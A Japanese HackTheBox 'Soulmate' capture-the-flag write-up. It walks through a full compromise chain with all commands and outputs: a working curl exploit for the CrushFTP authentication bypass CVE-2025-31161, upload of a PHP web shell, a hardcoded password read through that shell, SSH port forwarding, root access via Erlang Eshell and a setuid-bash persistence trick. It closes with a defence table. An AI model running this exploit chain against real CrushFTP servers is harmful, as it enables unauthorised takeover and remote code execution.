HackTheBox: Soulmate — 全実行コマンド・実行結果レポート
Nmap + ffuf
22/80, ftp.soulmate.htb発見
→
22/80, ftp.soulmate.htb発見
CVE-2025-31161
AWS4-HMAC認証バイパス
→
AWS4-HMAC認証バイパス
CrushFTP管理者ユーザー作成
crushadminなりすまし
→
crushadminなりすまし
VFSフォルダマッピング
/app/webProd をドラッグ&ドロップ
→
/app/webProd をドラッグ&ドロップ
PHP webシェルアップロード
www-data RCE
→
www-data RCE
Erlang起動スクリプト漏洩
ben:HouseH0ldings998
→
ben:HouseH0ldings998
su ben → user.txt ✓
→
SSHポートフォワード
127.0.0.1:2222 Erlang Eshell
→
127.0.0.1:2222 Erlang Eshell
file:read_file (root権限) → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -sV -sC -p- --min-rate 2000 10.129.93.137
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://soulmate.htb/
サブドメイン列挙
BASH
echo "10.129.93.137 soulmate.htb" | sudo tee -a /etc/hosts ffuf -u http://10.129.93.137 -H "Host: FUZZ.soulmate.htb" \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
RESULT
ftp [Status: 302, Size: 0, Words: 1, Lines: 1]
BASH
echo "10.129.93.137 ftp.soulmate.htb" | sudo tee -a /etc/hosts curl -s -i http://ftp.soulmate.htb/
RESULT
Set-Cookie: currentAuth=...; path=/
Set-Cookie: CrushAuth=..._...; path=/; HttpOnly
location: /WebInterface/login.html
🚨
ftp.soulmate.htb は CrushFTP(Java製のFTP/HTTPファイル転送サーバー)の
WebInterface。2025年に2件の重大な認証バイパスCVE
(CVE-2025-31161 / CVE-2025-54309)が公開されている。
PHASE 2
CVE-2025-31161: CrushFTP 認証バイパス → 管理者ユーザー作成
脆弱性の仕組み
NOTE
CrushFTPはAWS S3互換のAuthorizationヘッダ("AWS4-HMAC-SHA256 Credential=...")を
受け取ると、本来は署名検証まで行うはずが、Credentialフィールドからユーザー名
(ここでは crushadmin = 組み込み管理者)を抽出した時点でセッションを
「部分的に認証済み」として扱ってしまう不具合がある。この状態で
setUserItem(ユーザー作成/編集)のような管理API呼び出しを行うと、
署名検証をすり抜けたまま実行されてしまう。
Cookie内 c2f(currentAuthの値)とPOSTパラメータc2fが一致している必要がある
(CSRF対策チェックを素通りさせるため)。
認証バイパスで管理者ユーザーを新規作成
BASH
# Cookie/Authorizationヘッダを偽装してセッションを確立(タイムアウトしてもよい)
C2F="kc01"
AUTH="$(date +%s)000_$(openssl rand -hex 13)${C2F}"
curl -s -o /dev/null --max-time 8 \
-H "Cookie: currentAuth=${C2F}; CrushAuth=${AUTH}" \
-H "Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/" \
"http://ftp.soulmate.htb/WebInterface/function/"
# 新規ユーザーを作成するXMLペイロードを同じ偽装ヘッダで送信
curl -s -i \
-H "Cookie: currentAuth=${C2F}; CrushAuth=${AUTH}" \
-H "Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/" \
-X POST "http://ftp.soulmate.htb/WebInterface/function/" \
--data-urlencode "command=setUserItem" \
--data-urlencode "data_action=replace" \
--data-urlencode "serverGroup=MainUsers" \
--data-urlencode "username=kcadmin" \
--data-urlencode 'user=<?xml version="1.0" encoding="UTF-8"?><user type="properties"><user_name>kcadmin</user_name><password>KillChain123!</password><extra_vfs type="vector"></extra_vfs><version>1.0</version><root_dir>/</root_dir><userVersion>6</userVersion><max_logins>0</max_logins><site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site><created_by_username>crushadmin</created_by_username></user>' \
--data-urlencode "xmlItem=user" \
--data-urlencode 'vfs_items=<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>' \
--data-urlencode 'permissions=<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(view)(resume)(write)(delete)(mkdir)</item></VFS>' \
--data-urlencode "c2f=${C2F}"
RESULT
<?xml version="1.0" encoding="UTF-8"?>
<result><response_status>OK</response_status>...</result>
作成したユーザーでログイン
BASH
curl -s -c cookies.txt -b "currentAuth=${C2F}; CrushAuth=${AUTH}" \
-X POST "http://ftp.soulmate.htb/WebInterface/function/" \
--data-urlencode "command=login" \
--data-urlencode "username=kcadmin" \
--data-urlencode "password=KillChain123!" \
--data-urlencode "c2f=${C2F}"
RESULT
<loginResult><response>success</response><c2f>...</c2f></loginResult>
✅
管理者権限奪取成功! 認証も既存アカウントも一切不要で、CrushFTPの
管理インターフェースに完全アクセスできる任意のユーザーを作成できた。
PHASE 3
VFSフォルダマッピング & webシェルアップロード
User Manager で実OSファイルシステムを閲覧
NOTE
ブラウザで http://ftp.soulmate.htb/WebInterface/UserManager/index.html を開き、
作成したユーザー(kcadmin)を選択する。「VFS」タブには2ペインのファイル
ブラウザが表示される:
- 左「Server's Files」: CrushFTPプロセスから見える実OSファイルシステム
(app, bin, dev, etc, home, root, tmp, usr, var ... 本物の / )
- 右「User's Stuff」: このユーザーが実際にアクセスできる仮想ファイルシステム
(新規ユーザーは空)
左側で /app を開くと、デートサイトの実体 "webProd" フォルダが見える。
これを右側の "User's Stuff" エリアへドラッグ&ドロップすると、
そのユーザーの仮想ルートにサイトの実ファイルがマッピングされる。
⚠️
この操作は内部的に jQuery UI の draggable/droppable を使っており、単純な
HTTP APIコールの組み立てでは再現が困難(CrushFTPの独自XMLシリアライズ形式
を厳密に再現する必要がある)。自動化する場合は実際のブラウザ操作
(Selenium等)で行うのが最も確実。
ドラッグ&ドロップ後に保存 → 権限の修復
NOTE
webProdをドラッグして「Save」を押すと、該当ユーザーの実際の設定(API経由で
command=getUser を叩くと取得できる)には以下のように反映される:
<vfs_items type="vector">
<vfs_items_subitem type="vector">
<vfs_items_subitem_subitem type="properties">
<name>webProd</name>
<path>/</path>
<type>DIR</type>
<url>FILE://app/webProd/</url>
</vfs_items_subitem_subitem>
</vfs_items_subitem>
</vfs_items>
ただし、このGUI保存操作はマッピング先の権限を自動的にread-onlyへ
リセットしてしまう(ハマりポイント)。パーミッションキーはフォルダ名を
大文字化した "/WEBPROD/" 形式で管理されている。
BASH
# vfs_itemsパラメータを一切含めずpermissionsだけを部分更新すると、
# 既存のVFSマッピングを維持したまま書込み権限を復元できる
curl -s \
-H "Cookie: currentAuth=${C2F2}; CrushAuth=${AUTH2}" \
-H "Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/" \
-X POST "http://ftp.soulmate.htb/WebInterface/function/" \
--data-urlencode "command=setUserItem" \
--data-urlencode "data_action=replace" \
--data-urlencode "serverGroup=MainUsers" \
--data-urlencode "username=kcadmin" \
--data-urlencode "user=<...(同じユーザーXML)...>" \
--data-urlencode "xmlItem=user" \
--data-urlencode 'permissions=<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/WEBPROD/">(read)(view)(resume)(write)(delete)(mkdir)</item><item name="/">(read)(view)(resume)(write)(delete)(mkdir)</item></VFS>' \
--data-urlencode "c2f=${C2F2}"
PHP webシェルをアップロード
NOTE
サイトのトップ(Files画面)で簡単なPHP Webシェルを作成してアップロードする: <?php system($_REQUEST['cmd']); ?> アップロードは画面右上の「Upload」からファイルを選択し、キューに追加された 行の個別「Upload」リンクをクリックして転送を開始する(キューに追加しただけ では転送されない点に注意)。権限(Phase 3-2)が正しく設定されていないと "ERROR: Access denied. (You do not have permission or the file extension is not allowed.)" で拒否される。
✅
アップロード成功。
/app/webProd はWebサーバー(nginx)のドキュメント
ルートそのものなので、アップロードした kcshell.php はそのまま
http://soulmate.htb/kcshell.php として外部から直接実行可能になる。
PHASE 4
webシェルRCE & user.txt 取得
RCE確認
BASH
curl -s "http://soulmate.htb/kcshell.php?cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功! 認証バイパス→管理者乗っ取り→ファイル配置の全チェーンが完走した。
root権限で動くErlang SSHデーモンのスクリプトから平文パスワードを回収
BASH
curl -s "http://soulmate.htb/kcshell.php" \ --data-urlencode "cmd=cat /usr/local/lib/erlang_login/start.escript"
RESULT
case ssh:daemon(2222, [
{ip, {127,0,0,1}},
...
{auth_methods, "publickey,password"},
{user_passwords, [{"ben", "HouseH0ldings998"}]},
...
🚨
このスクリプト(
ps auxwwで発見できるroot権限プロセスの実体)は
world-readableな権限(-rwxr-xr-x root root)で置かれており、
benユーザーの平文パスワードがそのままソースコードにハードコード
されている。このパスワードはOSログインパスワードとしても再利用されている。
su で ben として user.txt を取得
BASH
curl -s "http://soulmate.htb/kcshell.php" \ --data-urlencode 'cmd=echo HouseH0ldings998 | su ben -c "cat /home/ben/user.txt"'
RESULT
28f4c1d0bd8b7e126bb35cf811f10864
user.txt — ben
28f4c1d0bd8b7e126bb35cf811f10864
⚠️
ハマりポイント:
ssh ben@soulmate.htb "id" のような直接の
非対話SSHコマンド実行は、このボックスでは応答が返らずハングすることを確認した
(原因未特定)。webシェル経由で su にパスワードをパイプする方式が
確実に動作する。
PHASE 5
ローカル限定の Erlang SSH デーモンへの到達
root権限プロセスとしてのErlang SSHデーモン
NOTE
先ほどのスクリプトの ssh:daemon(2222, [{ip, {127,0,0,1}}, ...]) により、
ポート2222でErlangのSSHデーモンがlocalhost限定で稼働している。
このプロセス自体がroot権限で実行されているため、ここにログインできれば
そのままroot相当のコード実行コンテキストに到達できる。
{auth_methods, "publickey,password"} + {user_passwords, [{"ben", "..."}]}
により、ben:HouseH0ldings998 でそのままSSH認証が通る。
通常のSSH(22番)経由でポートフォワード
BASH
sshpass -p 'HouseH0ldings998' ssh -o StrictHostKeyChecking=no \ -L 12222:127.0.0.1:2222 -N ben@soulmate.htb &
ℹ️
ポートフォワード確立自体はリモートコマンド実行を伴わないため、Phase4-3で
確認した非対話コマンド実行のハング問題の影響を受けない。
PHASE 6
Erlang Eshell でコマンド実行 → root.txt
ローカルのErlang SSHへ接続
BASH
ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \ -p 12222 ben@127.0.0.1 # Password: HouseH0ldings998
RESULT
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>
🚨
一般的なシェルではなくErlangの対話型REPL(Eshell)がそのまま開く。
Erlang SSHデーモンは
ssh:daemon/2の既定動作として、接続してきたユーザーに
フルのErlang標準ライブラリにアクセスできるシェルを与えてしまう。
このデーモン自体がroot権限で起動しているため、Erlangの関数経由で実行される
ファイルI/OやOSコマンドはすべてroot権限で実行される。
file:read_file でroot.txtを直接読む
BASH
(ssh_runner@soulmate)1> {ok, Data} = file:read_file("/root/root.txt").
RESULT
{ok,<<"01c7f12d8584eb025c025e389bdc63da\n">>}
root.txt — root@soulmate
01c7f12d8584eb025c025e389bdc63da
ℹ️
同様に
os:cmd("id"). で uid=0(root) gid=0(root) を確認できる。
恒久的なroot シェルが欲しい場合は
os:cmd("cp /bin/bash /tmp/rootsh"), os:cmd("chmod 6777 /tmp/rootsh").
でSetUID化したbashコピーを作成し、通常ユーザーのシェルから
/tmp/rootsh -p で起動すればよい。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — ben
28f4c1d0bd8b7e126bb35cf811f10864
root.txt — root@soulmate
01c7f12d8584eb025c025e389bdc63da
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2025-31161 | CrushFTP WebInterface | 未認証からの管理者権限奪取 | Critical | 偽装したAWS4-HMAC Authorizationヘッダでcrushadminになりすまし、setUserItem APIで任意の管理者ユーザーを新規作成 |
| VFSフォルダマッピング経由のWebシェル配置 | CrushFTP管理画面 + Webサイトのドキュメントルート共有ホスト | www-data権限でのリモートコード実行 | High | 管理者権限でサイトの実ドキュメントルートを自分のVFSにマッピングし、PHP拡張子のWebシェルを直接アップロード |
| root権限プロセスのスクリプトに平文パスワードがハードコード | /usr/local/lib/erlang_login/start.escript | 横移動(www-data → ben) | Medium | world-readableなスクリプトファイルにOSユーザーの平文パスワードがそのまま記載されていた |
| Erlang SSHデーモンが対話シェル(Eshell)を無条件に公開 | 127.0.0.1:2222 (root権限プロセス) | 一般ユーザー→root権限相当のコード実行 | Critical | SSH認証後に標準Erlangシェルがそのまま与えられ、file:read_file/os:cmdでデーモンの実行権限(root)のままファイル読取・コマンド実行が可能 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + ffuf サブドメイン列挙 | ftp.soulmate.htb(CrushFTP)発見 |
| 2 | 認証バイパス | CVE-2025-31161 AWS4-HMAC偽装 | CrushFTP管理者ユーザー作成 |
| 3 | RCE準備 | VFSドラッグ&ドロップ + 権限修復 + アップロード | PHP webシェル設置 |
| 4 | RCE & 横移動 | webシェル + Erlangスクリプト読取 + su | user.txt(ben) |
| 5 | 内部到達 | SSHローカルポートフォワード | Erlang Eshell(2222)への到達経路 |
| 6 | 権限昇格 | file:read_file (root権限Erlangプロセス) | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| CrushFTPの偽装Authorizationヘッダによる認証バイパス(CVE-2025-31161/CVE-2025-54309) | CrushFTPを修正済みバージョン(10.8.5/11.3.4_23以降)へ速やかに更新する。管理インターフェースはVPN/IP制限で外部公開しない。 |
| Webサイトのドキュメントルートと別サービス(CrushFTP)の管理可能なファイルシステム領域が同じホスト上で共有されている | Webアプリとファイル転送サービスは別ホスト/コンテナに分離し、互いの機微なディレクトリへの到達可能性を断つ。 |
| root権限で動作するサービスの起動スクリプトに平文パスワードをハードコードし、かつworld-readable | 認証情報はスクリプトに埋め込まず環境変数やシークレットマネージャーで管理し、スクリプトファイルの権限を厳格化(600、root専用)する。 |
| Erlang SSHデーモンを安易な設定(標準Eshellをそのまま公開)でroot権限のまま稼働させている | Erlang SSHサーバーを使う場合はshellオプションを明示的に制限されたコールバックに差し替え、任意コード実行を許す標準Eshellを本番環境で絶対に公開しない。やむを得ない場合は最小権限の専用ユーザーで動作させる。 |
